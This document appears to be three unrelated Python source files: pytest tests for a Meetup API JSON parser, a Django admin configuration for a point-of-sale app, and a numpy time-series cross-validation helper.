<gh_stars>1-10 import time from datetime import datetime from time import sleep import pytest from meetup_search.meetup_api_client.exceptions import ( EventAlreadyExists, InvalidResponse, ) from meetup_search.meetup_api_client.json_parser import ( get_category_from_response, get_event_from_response, get_event_host_from_response, get_group_from_response, get_group_organizer_from_response, get_meta_category_from_response, get_topic_from_response, get_venue_from_response, ) from meetup_search.models.group import Event, Group, Topic from tests.meetup_api_demo_response import ( get_category_response, get_event_host_response, get_event_response, get_group_response, get_member_response, get_meta_category_response, get_topic_response, get_venue_response, ) def test_get_group_from_response(): # set group response group_1_response: dict = get_group_response( meetup_id=1, urlname="group_1", content=False ) group_2_response: dict = get_group_response( meetup_id=2, urlname="group_2", content=True ) # get group model group_1: Group = get_group_from_response(response=group_1_response) group_2: Group = get_group_from_response(response=group_2_response) # assert group_1 assert isinstance(group_1, Group) assert group_1.meetup_id == group_1_response["id"] assert group_1.urlname == group_1_response["urlname"] assert ( time.mktime(group_1.created.timetuple()) == group_1_response["created"] / 1000 ) assert group_1.description == group_1_response["description"] assert group_1.location == { "lat": group_1_response["lat"], "lon": group_1_response["lon"], } assert group_1.link == group_1_response["link"] assert group_1.members == group_1_response["members"] assert group_1.name == group_1_response["name"] assert group_1.nomination_acceptable is False assert group_1.status == group_1_response["status"] assert group_1.timezone == group_1_response["timezone"] assert group_1.visibility == group_1_response["visibility"] assert group_1.short_link is None assert group_1.welcome_message is None assert group_1.city is None assert group_1.city_link is None assert group_1.untranslated_city is None assert group_1.country is None assert group_1.localized_country_name is None assert group_1.localized_location is None assert group_1.state is None assert group_1.join_mode is None assert group_1.fee_options_currencies_code is None assert group_1.fee_options_currencies_default is None assert group_1.fee_options_type is None assert group_1.member_limit is None assert group_1.who is None # category assert group_1.category_id is None assert group_1.category_name is None assert group_1.category_shortname is None assert group_1.category_sort_name is None # meta_category assert group_1.meta_category_id is None assert group_1.meta_category_shortname is None assert group_1.meta_category_name is None assert group_1.meta_category_sort_name is None # topics assert len(group_1.topics) == 0 # organizer assert group_1.organizer_id is None assert group_1.organizer_name is None assert group_1.organizer_bio is None # assert group_2 assert isinstance(group_2, Group) assert group_2.meetup_id == group_2_response["id"] assert group_2.urlname == group_2_response["urlname"] assert ( time.mktime(group_2.created.timetuple()) == group_2_response["created"] / 1000 ) assert group_2.description == group_2_response["description"] assert group_2.location == { "lat": group_2_response["lat"], "lon": group_2_response["lon"], } assert group_2.link == group_2_response["link"] assert group_2.members == group_2_response["members"] assert group_2.name == group_2_response["name"] assert group_2.nomination_acceptable is True assert group_2.status == group_2_response["status"] assert group_2.timezone == group_2_response["timezone"] assert group_2.visibility == group_2_response["visibility"] assert group_2.short_link == group_2_response["short_link"] assert group_2.welcome_message == group_2_response["welcome_message"] assert group_2.city == group_2_response["city"] assert group_2.city_link == group_2_response["city_link"] assert group_2.untranslated_city == group_2_response["untranslated_city"] assert group_2.country == group_2_response["country"] assert group_2.localized_country_name == group_2_response["localized_country_name"] assert group_2.localized_location == group_2_response["localized_location"] assert group_2.state == group_2_response["state"] assert group_2.join_mode == group_2_response["join_mode"] assert ( group_2.fee_options_currencies_code == group_2_response["fee_options"]["currencies"]["code"] ) assert ( group_2.fee_options_currencies_default == group_2_response["fee_options"]["currencies"]["default"] ) assert group_2.fee_options_type == group_2_response["fee_options"]["type"] assert group_2.member_limit == group_2_response["member_limit"] assert group_2.who == group_2_response["who"] # category assert group_2.category_id == group_2_response["category"]["id"] assert group_2.category_name is None assert group_2.category_shortname is None assert group_2.category_sort_name is None # meta_category assert group_2.meta_category_id == group_2_response["meta_category"]["id"] assert ( group_2.meta_category_shortname == group_2_response["meta_category"]["shortname"] ) assert group_2.meta_category_name == group_2_response["meta_category"]["name"] assert ( group_2.meta_category_sort_name == group_2_response["meta_category"]["sort_name"] ) # topics assert len(group_2.topics) == 1 assert isinstance(group_2.topics[0], Topic) # organizer assert group_2.organizer_id == group_2_response["organizer"]["id"] assert group_2.organizer_name is None assert group_2.organizer_bio is None def test_get_event_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_event_1") ) # set event response event_1_response: dict = get_event_response(meetup_id="1", content=False) event_2_response: dict = get_event_response(meetup_id="2", content=True) # get event model event_1: Event = get_event_from_response(response=event_1_response, group=group_1) event_2: Event = get_event_from_response(response=event_2_response, group=group_1) # assert event_1 assert isinstance(event_1, Event) assert event_1.meetup_id == event_1_response["id"] assert event_1.time == datetime.fromtimestamp(event_1_response["time"] / 1000) assert event_1.created is None assert event_1.name == event_1_response["name"] assert event_1.link == event_1_response["link"] assert event_1.attendance_count is None assert event_1.attendance_sample is None assert event_1.attendee_sample is None assert event_1.date_in_series_pattern is False assert event_1.description is None assert event_1.description is None assert event_1.duration is None # event_hosts assert event_1.fee_accepts is None assert event_1.fee_amount is None assert event_1.fee_currency is None assert event_1.fee_description is None assert event_1.fee_label is None assert event_1.how_to_find_us is None assert event_1.status is None assert event_1.updated is None assert event_1.utc_offset is None # venue assert event_1.venue_visibility is None assert event_1.visibility is None # save group group_1.add_event(event_1) group_1.add_event(event_2) group_1.save() sleep(1) # assert event_2 assert isinstance(event_2, Event) assert event_2.meetup_id == event_2_response["id"] assert event_2.time == datetime.fromtimestamp(event_2_response["time"] / 1000) assert event_2.created == datetime.fromtimestamp(event_2_response["created"] / 1000) assert event_2.name == event_2_response["name"] assert event_2.link == event_2_response["link"] assert event_2.attendance_count == event_2_response["attendance_count"] assert event_2.attendance_sample == event_2_response["attendance_sample"] assert event_2.attendee_sample == event_2_response["attendee_sample"] assert event_2.date_in_series_pattern == event_2_response["date_in_series_pattern"] assert event_2.description == event_2_response["description"] assert event_2.description == event_2_response["description"] assert event_2.duration == event_2_response["duration"] # event_hosts assert event_2.fee_accepts == event_2_response["fee"]["accepts"] assert event_2.fee_amount == event_2_response["fee"]["amount"] assert event_2.fee_currency == event_2_response["fee"]["currency"] assert event_2.fee_description == event_2_response["fee"]["description"] assert event_2.fee_label == event_2_response["fee"]["label"] assert event_2.how_to_find_us == event_2_response["how_to_find_us"] assert event_2.status == event_2_response["status"] assert event_2.updated == datetime.fromtimestamp(event_2_response["updated"] / 1000) assert event_2.utc_offset == event_2_response["utc_offset"] / 1000 # venue assert event_2.venue_visibility == event_2_response["venue_visibility"] assert event_2.visibility == event_2_response["visibility"] # check when event already exists with pytest.raises(EventAlreadyExists): get_event_from_response(response=event_1_response, group=group_1) # check when with invalid response with pytest.raises(InvalidResponse): del event_1_response["id"] get_event_from_response(response=event_1_response, group=group_1) def test_get_venue_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_venue_1") ) # set event response event_1_response: dict = get_event_response(meetup_id="1", content=False) # set venue response venue_1_response: dict = get_venue_response(content=False) venue_2_response: dict = get_venue_response(content=True) venue_3_response: dict = get_venue_response( content=True, lat=37.387474060058594, lon=-122.05754089355469 ) # get event model event_1: Event = get_event_from_response(response=event_1_response, group=group_1) # get venue_1 from repsonse event_2: Event = get_venue_from_response(response=venue_1_response, event=event_1) # assert event_2 assert isinstance(event_2, Event) assert event_2.venue_address_1 is None assert event_2.venue_address_2 is None assert event_2.venue_address_3 is None assert event_2.venue_city is None assert event_2.venue_country is None assert event_2.venue_localized_country_name is None assert event_2.venue_name is None assert event_2.venue_phone is None assert event_2.venue_zip_code is None assert event_2.venue_location is None # get venue_2 from repsonse event_3: Event = get_venue_from_response(response=venue_2_response, event=event_1) # assert event_3 assert isinstance(event_3, Event) assert event_3.venue_address_1 == venue_2_response["address_1"] assert event_3.venue_address_2 == venue_2_response["address_2"] assert event_3.venue_address_3 == venue_2_response["address_3"] assert event_3.venue_city == venue_2_response["city"] assert event_3.venue_country == venue_2_response["country"] assert ( event_3.venue_localized_country_name == venue_2_response["localized_country_name"] ) assert event_3.venue_name == venue_2_response["name"] assert event_3.venue_phone == venue_2_response["phone"] assert event_3.venue_zip_code == venue_2_response["zip_code"] assert event_3.venue_location == { "lat": venue_2_response["lat"], "lon": venue_2_response["lon"], } # get venue_3 from repsonse event_4: Event = get_venue_from_response(response=venue_3_response, event=event_1) # assert event_3 assert isinstance(event_4, Event) assert event_4.venue_location == { "lat": venue_3_response["lat"], "lon": venue_3_response["lon"], } # save group group_1.save() def test_get_event_host_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_event_host_1") ) # set event response event_1_response: dict = get_event_response(meetup_id="1", content=False) # set event_host response event_host_1_response: dict = get_event_host_response(content=False) event_host_2_response: dict = get_event_host_response(content=True) # get event model event_1: Event = get_event_from_response(response=event_1_response, group=group_1) # get event_host_2 from repsonse event_2: Event = get_event_host_from_response( response=event_host_1_response, event=event_1 ) # assert event_2 assert isinstance(event_2, Event) assert event_2.event_host_host_count is None assert event_2.event_host_id is None assert event_2.event_host_intro is None assert event_2.event_host_join_date is None assert event_2.event_host_name is None # get event_host_3 from repsonse event_3: Event = get_event_host_from_response( response=event_host_2_response, event=event_1 ) # assert event_3 assert isinstance(event_3, Event) assert event_3.event_host_host_count == event_host_2_response["host_count"] assert event_3.event_host_id == event_host_2_response["id"] assert event_3.event_host_intro == event_host_2_response["intro"] assert ( time.mktime(event_3.event_host_join_date.timetuple()) == event_host_2_response["join_date"] / 1000 ) assert event_3.event_host_name == event_host_2_response["name"] # save group group_1.save() def test_get_group_organizer_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_organizer_1") ) # set organizer response organizer_1_response: dict = get_member_response(content=False) organizer_2_response: dict = get_member_response(content=True) # get organizer from repsonse group_2: Group = get_group_organizer_from_response( response=organizer_1_response, group=group_1 ) # assert group assert isinstance(group_2, Group) assert group_2.organizer_id == organizer_2_response["id"] assert group_2.organizer_name is None assert group_2.organizer_bio is None # get organizer from repsonse group_3: Group = get_group_organizer_from_response( response=organizer_2_response, group=group_1 ) # assert group assert isinstance(group_3, Group) assert group_3.organizer_id == organizer_2_response["id"] assert group_3.organizer_name == organizer_2_response["name"] assert group_3.organizer_bio == organizer_2_response["bio"] # save group group_1.save() def test_get_category_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_category_1") ) # set category response category_1_response: dict = get_category_response(content=False) category_2_response: dict = get_category_response(content=True) # get category from repsonse group_2: Group = get_category_from_response( response=category_1_response, group=group_1 ) # assert group assert isinstance(group_2, Group) assert group_2.category_id == category_1_response["id"] assert group_2.category_name is None assert group_2.category_shortname is None assert group_2.category_sort_name is None # get category from repsonse group_3: Group = get_category_from_response( response=category_2_response, group=group_1 ) # assert group assert isinstance(group_3, Group) assert group_3.category_id == category_2_response["id"] assert group_3.category_name == category_2_response["name"] assert group_3.category_shortname == category_2_response["shortname"] assert group_3.category_sort_name == category_2_response["sort_name"] # save groups group_1.save() group_2.save() group_3.save() def test_get_meta_category_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_meta_category_1") ) # set meta_category response meta_category_1_response: dict = get_meta_category_response() # get meta_category from repsonse group_2: Event = get_meta_category_from_response( response=meta_category_1_response, group=group_1 ) # assert group assert isinstance(group_2, Group) assert group_2.meta_category_id == meta_category_1_response["id"] assert group_2.meta_category_name == meta_category_1_response["name"] assert group_2.meta_category_shortname == meta_category_1_response["shortname"] assert group_2.meta_category_sort_name == meta_category_1_response["sort_name"] # save group group_1.save() def test_get_topic_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_topic_1") ) # set topic response topic_1_response: dict = get_topic_response(meetup_id=1) # get topic from repsonse topic_1: Topic = get_topic_from_response(response=topic_1_response) # assert topic assert isinstance(topic_1, Topic) assert topic_1.meetup_id == topic_1_response["id"] assert topic_1.lang == topic_1_response["lang"] assert topic_1.name == topic_1_response["name"] assert topic_1.urlkey == topic_1_response["urlkey"] # save group group_1.save()
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jazzpos/admin.py
AhmadManzoor/jazzpos
5
5244
from django.contrib import admin from django.contrib.auth.admin import UserAdmin from django.contrib.auth.models import User from django_tablib.admin import TablibAdmin from jazzpos.models import Customer, Patient, Store, CustomerType, StoreSettings from jazzpos.models import UserProfile class CustomerAdmin(TablibAdmin): formats = ['xls', 'csv',] class PatientAdmin(TablibAdmin): formats = ['xls', 'csv',] class StoreAdmin(admin.ModelAdmin): pass class StoreSettingsAdmin(admin.ModelAdmin): pass class CustomerTypeAdmin(admin.ModelAdmin): pass class UserProfileInline(admin.StackedInline): model = UserProfile UserAdmin.inlines = [UserProfileInline,] admin.site.register(Customer, CustomerAdmin) admin.site.register(Patient, PatientAdmin) admin.site.register(Store, StoreAdmin) admin.site.register(StoreSettings, StoreSettingsAdmin) admin.site.register(CustomerType, CustomerTypeAdmin) admin.site.unregister(User) admin.site.register(User, UserAdmin)
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tscv.py
0x0L/tscv
3
125781
<gh_stars>1-10 import numpy as np class Sequencer(object): def __init__(self, n, lookback=1, lookforward=1, delay=0, step=1, squeeze=True): """Build sequence-liked features and targets indices for timeseries Idx / Time 0.......................................................n 1 | lookback | delay | lookforward | | 2 | step | lookback | delay | lookforward | | ... last | step | ... | step | lookback | delay | lookforward | Parameters ---------- n : int Length of the timeseries. lookback : int (default is 1) Features are sequences built up taking `lookback` values in the past. lookforward : int (default is 1) Targets are sequences built up taking `lookforward` values in the future. delay : int (default is 0) Additional delay between features and targets. delay can be negative but must be greater than -lookback. step : int (default is 1) Stepping size between samples. Must be strictly positive. squeeze : boolean (default is True) If true, squeezes single timestep features and targets. Only has an effect if `lookback` or `lookforward` is equal to 1. Usage ----- >>> X = np.random.randn(2500, 1000, 3) >>> y = X[:, :, 0] >>> seq = Sequencer(len(y), lookback=5, lookforward=1) >>> cv = seq.split(train_size=250, test_size=21) >>> for train_test_split in cv: X_train, X_test = seq.features(train_test_split, X) y_train, y_test = seq.targets(train_test_split, y) indices_train, indices_test = seq.indices(train_test_split) """ squeeze_ = np.squeeze if squeeze else lambda x: x indices, features, targets = [], [], [] for i in range(lookback, n + 1 - delay - lookforward, step): indices.append(i) features.append(squeeze_( np.arange(i - lookback, i))) targets.append(squeeze_( np.arange(i + delay, i + delay + lookforward))) self.indices_ = np.array(indices) self.features_, self.targets_ = np.array(features), np.array(targets) def split(self, train_size, test_size): """Vanilla rolling-window cross validation generator Parameters ---------- train_size : int Size of the training set. test_size : int Size of the testing set. """ n = len(self.indices_) for i in range(train_size, n, test_size): train, test = np.arange(i - train_size, i), np.arange(i, min(i + test_size, n)) yield train, test def features(self, split, features): """Return features slice for a test/train split.""" train, test = split return features[self.features_[train]], features[self.features_[test]] def targets(self, split, targets): """Return targets slice for a test/train split.""" train, test = split return targets[self.targets_[train]], targets[self.targets_[test]] def indices(self, split): """Return indices slice for a test/train split.""" train, test = split return self.indices_[train], self.indices_[test]
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